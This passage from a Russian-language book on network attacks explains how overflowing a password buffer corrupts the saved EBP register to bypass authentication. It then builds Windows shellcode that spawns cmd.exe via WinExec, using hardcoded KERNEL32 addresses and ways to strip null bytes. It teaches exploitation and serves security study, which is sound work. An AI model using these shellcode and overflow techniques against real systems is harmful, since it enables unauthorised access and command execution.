Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК

Такую ситуацию демонстрирует следующий пример (на диске, прилагаемом к книге, он расположен в файле “/SRC/buff.ebp.c”):

· #include «stdio.h»· #include «string.h»·· int Auth()· {· char pass[16];· printf("Passwd:");fgets( amp;pass[0],17,stdin);· return!strcmp("KPNC++n", amp;pass[0]);·}·· main (int argc,char **argv)· {·· int guest=0;· if (argc»2) if (!strcmp( amp;argv[1][0],"/GUEST:ON")) guest=1;·· if (Auth() || guest) printf("Password okn");· else· printf("Wrong passwordn");··}

Ввод строки наподобие “1234567890123456123” затрет сохраненное значение регистра EBP, в результате чего при попытке прочитать значение переменной guest произойдет обращение к совсем другой области памяти, которая, скорее всего, содержит ненулевое значение. В результате злоумышленник сможет несанкционированно войти в систему.

Модификация сохраненного значения регистра EBP имеет побочный эффект - вместе с регистром EBP изменяется и регистр-указатель верхушки стека. Большинство компиляторов генерируют приблизительно следующие прологи и эпилоги функций (в листинге они выделены жирным шрифтом):

·.text:00401040 Main proc near; CODE XREF: start+AFp

·.text:00401040

·.text:00401040 var_4 = dword ptr -4

·.text:00401040

·.text:00401040 push ebp

·.text:00401041 mov ebp, esp

·.text:00401043 push ecx

·.text:00401044 push offset aChahgeEbp; "Chahge EBPn"

·.text:00401049 call sub_0_401214

·.text:0040104E add esp, 4

·.text:00401051 call Auth

·.text:00401056 mov [ebp+var_4], eax

·.text:00401059 cmp [ebp+var_4], 0

·.text:0040105D jz short loc_0_40106E

·.text:0040105F push offset aPasswordOk; "Password okn"

·.text:00401064 call sub_0_401214

·.text:00401069 add esp, 4

·.text:0040106C jmp short loc_0_40107B

·.text:0040106E;

· ---------------------------------------------------------------------

·.text:0040106E

·.text:0040106E loc_0_40106E:; CODE XREF: Main+1Dj

·.text:0040106E push offset aWrongPassword; "Wrong passwordn"

·.text:00401073 call sub_0_401214

·.text:00401078 add esp, 4

·.text:0040107B

·.text:0040107B loc_0_40107B:; CODE XREF: Main+2Cj

·.text:0040107B mov esp, ebp

·.text:0040107D pop ebp

· .text:0040107E retn

Сперва значение регистра ESP копируется в EBP, затем выделяется память под локальные переменные (если они есть) уменьшением ESP. А при выходе из функции ESP восстанавливается путем присвоения значения, сохраненного в регистре EBP. Если же вызываемая функция исказит значение EBP, то при выходе из функции ESP будет указывать уже не на адрес возврата, а на какой-то другой адрес и при передаче на него управления, скорее всего, произойдет исключение и операционная система приостановит выполнение программы.

Однако осмысленное искажение значение регистра EBP в некоторых случаях способно передать управление на переданный код, однако, для этого необходимо, чтобы он размещался в буфере вызывающей процедуры.

Получив возможность выполнения своего кода на удаленной машине, злоумышленник, как правило, стремится запустить командный интерпретатор, или пытается вызвать системные функции для повышения своего статуса или регистрации нового пользователя в системе. Модификация же кода уязвимой программы (примеры которой приведены в главе «Технология срыва стека») не всегда позволяет атакующему получить желаемый результат.

Под управлением UNIX такая операция не представляет больших сложностей. Функции ядра могут быть вызваны либо посредством программного прерывания INT 0x80 (в LINUX), либо передачей управления по особому адресу, именуемому точкой входа ядра в системах совместимых с System V расположенного по адресу 0x0007:0x00000000. Среди системных вызовов наличествуют и функция exec, которая вкупе с fork (или даже без оной) позволяет запускать другие программы, в том числе и командный интерпретатор, или в терминологии UNIX - оболочку (Shell).

Функция ядра Windows NT доступны через программное прерывание INT 0x2F, но все они «сырые» и не готовы к непосредственному использованию. Одного вызова функции ZwCreateProcess, она же NtCreateProcess (EAX=0x29, INT 0x2Fh) для создания нового потока еще не достаточно. Реализация CreateProcessA (CreateProcessW), размещенная в модуле KERNEL32.DLL, содержит много «обвязочного» кода, в чем легко убедиться, заглянув в него дизассемблером.

Запустить приложение, пользуясь только сервисом, предоставляемым прерыванием INT 0x2F можно, но требует значительного объема памяти, который атакующему, скорее всего, окажется недоступен. Поэтому, приходится прибегать к вызову функций из модулей DLL. Традиционно для этого загружают выбранный модуль вызовом LoadLibray, а затем получают адрес требуемой функции с помощью GetProcAddress. Например, на Си вызов командного интерпретатора может выглядеть так:

· UINT (__stdcall *x) (LPCSTR lpCmdLine, UINT uCmdShow);

· x= (UINT (__stdcall *)(LPCSTR lpCmdLine, UINT uCmdShow))

· (GetProcAddress(LoadLibrary("KERNEL32.DLL"),"WinExec"));

· x("cmd.exe",SW_SHOW);

Использование устаревшей функции “WinExec” вместо современной “CreateProcess” значительно упрощает код. Вместо десяти аргументов CreateProcess, функция WinExec имеет всего два - указатель на командную строку и статус отображения окна после запуска. Даже компилятор свободно укладывается в семьдесят с небольшим байт, оставляя простор для оптимизации:

·.text:00401000 55 push ebp

·.text:00401001 8B EC mov ebp, esp

·.text:00401003 51 push ecx

·.text:00401004 68 30 50 40 00 push 405030h

·.text:00401009 68 38 50 40 00 push offset aKernel32_dll; "KERNEL32.DLL"

·.text:0040100E FF 15 04 40 40 00 call ds:LoadLibraryA

·.text:00401014 50 push eax

·.text:00401015 FF 15 48 40 40 00 call ds:GetProcAddress

·.text:0040101B 89 45 FC mov [ebp+var_4], eax

·.text:0040101E 6A 05 push 5

·.text:00401020 68 48 50 40 00 push offset aCmd_exe; "cmd.exe"

·.text:00401025 FF 55 FC call [ebp+var_4]

·.text:00401028 8B E5 mov esp, ebp

·.text:0040102A 5D pop ebp

·.text:0040102B C3 retn

·…

· data:00405030 57 69 6E 45 78 65+aWinexec db 'WinExec',0

· data:00405038 4B 45 52 4E 45 4C+aKernel32_dll db 'KERNEL32.DLL',0

· data:00405045 00 00 00 align 4

· data:00405048 63 6D 64 2E 65 78+aCmd_exe db 'cmd.exe',0

Но сразу же возникают следующие трудности [322]: наличие нулевых символов не позволяет ввести такой код с клавиатуры. Можно конечно, снабдить код расшифровщиком, один из примеров которого приведен в дополнении «Шифровка кода», добившись исчезновения всех нулевых символов во вводимой строке. Но и сам шифровщик потребует какое-то количество памяти, которой может попросту не хватить. Другая трудность заключается в следующем - функции LoadLibrary и GetProcAddress реализованы наполовину в NTDLL.DLL, наполовину в KERNEL32.DLL и через прерывание INT 0x2E недоступны. Прежде чем их использовать, следует загрузить KERNEL32.DLL (но с помощью чего?) и определить адрес функции GetProcAddress (например, вызовом самой GetProcAddress [323]).

После сказанного может возникнуть вопрос, - как же приложения под Windows еще ухитряются работать? Существует такое понятие как неявная компоновка, - подключение необходимых библиотек еще на стадии загрузки файла. Для этого необходимо перечислить все требуемые функции в секции импорта PE-файла. Именно так и поступают программисты для вызова внешних функций, а к LoadLibrary прибегают редко.

Но даже если злоумышленник и получит доступ к секции импорта (а для этого необходимо иметь право записи в исполняемый и, как правило, исполняющийся в данный момент файл [324]), то он столкнется с проблемой модифицирования готовой секции импорта, что само по себе представляет нетривиальную задачу. Наконец, если добавление новых элементов пройдет успешно, изменения возымеют силу только после последующей загрузки файла.

На самом же деле, используя ряд допущений, можно решить ту же задачу более простым путем. Одна из недокументированных особенностей Windows состоит в том, во всех процессах система проецирует модуль KERNEL32.DLL по одним и тем же адресам. Поскольку, трудно представить себе приложение, обходящееся без KERNERL32.DLL [325], то можно сделать предположение, что модуль KERNEL32 уже загружен и в вызове LoadLibrary уже нет никакой необходимости.

Сложнее избавится от использования GetProcAddress. Адреса функций KERNEL32.DLL идентичны для всех процессов, но варьируются в зависимости от версии операционной системы. Существует несколько универсальных способов более или менее работоспособных во всех версиях (например, попытка найти GetProcAddress в таблице импорта текущего процесса), но все они либо ненадежны, либо их реализация занимает значительное количество памяти. Поэтому, ниже будет рассмотрен самый простой способ использования фиксированных адресов. Единственный его недостаток заключается в «привязанности» к конкретной версии операционной системы.

Для определения адреса функции WinExec можно воспользоваться следующим кодом (или изучить секцию импорта с помощью утилиты dumpbin, поставляемую с любым Windows-компилятором):

· printf(“0x%X n”,· GetProcAddress(· LoadLibrary("KERNEL32.DLL"),"WinExec"·)·);

Под управлением Windows 2000 (сборка 2195) программа возвратит адрес 0x77E98601, в других версиях возможны иные значения. Тогда код, запускающий некую программу, может выглядеть следующим образом:

· 00000000: 68 78 56 34 12 push 012345678;

· 00000005: 68?????? ?? push offset cmdLine;

· 0000000A: B8 01 86 E9 77 mov eax,077E98601;"

· 0000000F: FF D0 call eax

Всего шестнадцать байт без учета длины имени файла и кода, возвращающего управление основной ветке программы.

Некоторые пояснения: поскольку, функции API Windows вызываются по соглашению PASCAL, то аргументы заносятся в стек справа на лево, и выталкивает их из стека сама вызываемая функция. Первой передается константа WS_SHOW, равная пяти. Если передать любое другое ненулевое значение, функция все равно отработает успешно, но появится возможность избавится от трех нулей, присутствующих в двойном слове, младший байт которого равен пяти. Смещение строки, содержащей имя файла, так же содержит нуль в своем старшем байте, от которого необходимо избавится. Так же необходимо как-то освободится от завершающего строку нуля.